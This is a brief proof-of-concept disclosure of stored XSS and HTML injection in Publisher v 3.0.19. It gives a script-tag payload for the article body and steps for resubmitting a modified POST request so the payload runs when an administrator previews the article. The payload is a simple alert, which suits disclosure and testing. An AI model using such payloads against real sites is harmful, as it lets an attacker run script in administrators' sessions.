Poc:
We have stored xss and stored html injection in Publisher v 3.0.19.
I put there is one interesting method in the body "Article" with Method Post.
Create article and put simple xss code :
""><script>alert("Hello")</script>
And click "submit article".
XSS code is works..

The administrator can check articles in preview mode. What do we do?
Let's use the addon in the firefox "HTTP Live Headers" and change our
article with the Post Method.
""><script>alert("Hello")</script><body
background="https://pbs.twimg.com/media/D_dG89lXkAAU8P4.png">
Open Http Live Headers, Edit Article, Save this and Change Post
Request and send this.
